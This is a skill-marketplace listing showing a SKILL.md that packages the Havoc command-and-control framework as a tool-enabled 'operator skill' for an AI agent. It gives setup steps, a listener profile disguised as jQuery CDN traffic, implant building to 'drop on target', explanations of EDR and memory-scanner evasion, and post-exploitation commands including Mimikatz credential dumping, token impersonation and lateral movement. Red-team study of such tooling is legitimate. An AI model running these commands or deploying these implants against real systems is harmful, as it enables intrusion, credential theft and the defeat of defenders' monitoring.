Skip to main content

c2-havoc

Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.

跳到安装

来源信息

仓库
BitterSecurity/Decepticon
最近来源活动
2026年5月26日 09:25
检测到的 SKILL.md 语言
英语
星标
5,565
分支
1,053

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
c2-havoc
description
Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"havoc demon c5pider sleep obfuscation ekko ekko zilean foliage indirect syscall donut pic","subdomain":"c2","tags":"c2, havoc, demon, post-exploitation, opsec","mitre_attack":"T1071, T1105, T1620"}
# Havoc C2 Operator Skill Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks. ## Setup ```bash # Build from source (Linux) git clone https://github.com/HavocFramework/Havoc cd Havoc make ts-build make client-build make server-build # Or run via Docker docker compose up -d ``` ## Architecture ``` ┌────────────┐ ┌─────────────┐ ┌──────────┐ │ Operator │ <───> │ Teamserver │ <───> │ Demon │ │ (Client) │ TS │ (Go + gRPC) │ HTTP │ (Implant)│ └────────────┘ └─────────────┘ └──────────┘ ``` - **Teamserver**: Listens on operator port (40056 default) for clients; HTTP listener for demons. - **Client**: Qt-based desktop UI (Material Dark). - **Demon**: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls. ## Configure a profile Havoc uses a `profiles.yaotl` HCL-like config. Example for a low-OPSEC HTTP listener: ```hcl Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc" Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "op-alice" { Password = "strongpassword" } } Listeners { Http { Name = "primary-http" Hosts = ["op-server.com"] HostBind = "0.0.0.0" PortBind = 443 PortConn = 443 Secure = true HostRotation = "round-robin" Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic Headers = ["X-Forwarded-For: 1.2.3.4"] UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } } ``` Then `./havoc server --profile profiles.yaotl -v`. ## Build a Demon In the client UI: 1. Attack → Payload → Demon 2. Listener: select your HTTP listener 3. Arch: x64 / x86 4. Format: Windows Exe / Windows DLL / Shellcode 5. Sleep Technique: **Ekko** (queue user APC ROP chain) / **Zilean** (timer-based) / **FOLIAGE** (ROP-based) 6. Indirect Syscalls: **Enable** (resolves syscalls at runtime, bypasses static SSN hooks) 7. Save → drop on target ```bash # CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now) ``` ## What makes Havoc's OPSEC strong ### Sleep obfuscation (3 options) - **Ekko**: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts. - **Zilean**: timer-based variant. - **FOLIAGE**: pure ROP chain, no Win32 timer dependency. Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match. ### Indirect syscalls Most EDRs hook `NtAllocateVirtualMemory` etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics. Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return. ### No static strings All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. `strings demon.exe | grep -i shell` returns nothing. ### Module stomping Demon module can be hidden by overwriting an existing legitimate module (`mscorlib.dll`, `clr.dll`). ## Common commands ``` > shell whoami /all > proc list > proc kill <pid> > token impersonate <pid> > dotnet inline-execute <SharpHound.exe> -c All > mimi !sekurlsa::logonpasswords # built-in Mimikatz wrap > spawnas <user> <pass> <listener> # spawn new demon as different user > jump <psexec64|wmi|smb_lateral> <host> # lateral movement ``` ## Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike | | Havoc | Sliver | Mythic | Cobalt Strike | |---|---|---|---|---| | **Sleep obfuscation** | Built-in (Ekko/Zilean/FOLIAGE) | None — needs BOF | Per-agent | Built-in (Sleep Mask) | | **Indirect syscalls** | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) | | **OPSEC defaults** | Strong | Fair | Per-agent | Excellent | | **Modern UI** | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java | | **Cross-platform implant** | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) | | **License** | GPL OSS | GPL OSS | BSD OSS | Commercial $ | ## When to pick Havoc - Windows-only engagement, need modern OPSEC out-of-the-box - Cobalt Strike's price/license unavailable - Operator team comfortable with Qt UI vs web - Need indirect syscalls + sleep obfuscation without writing BOFs When NOT to pick: - Need cross-platform implant (Sliver/Mythic Poseidon better) - Need a polished commercial UI for client-deliverable screenshots (CS still wins) - Need mature OPSEC profile library (CS Malleable profile ecosystem is bigger) ## References - Havoc Framework docs — havocframework.com - C5pider's blog — c5pider.com (Ekko, Zilean writeups) - "Modern C2 OPSEC" — Outflank training material - Cobalt Strike Malleable profile guide (translates well to Havoc HTTP profile design)
在 GitHub 查看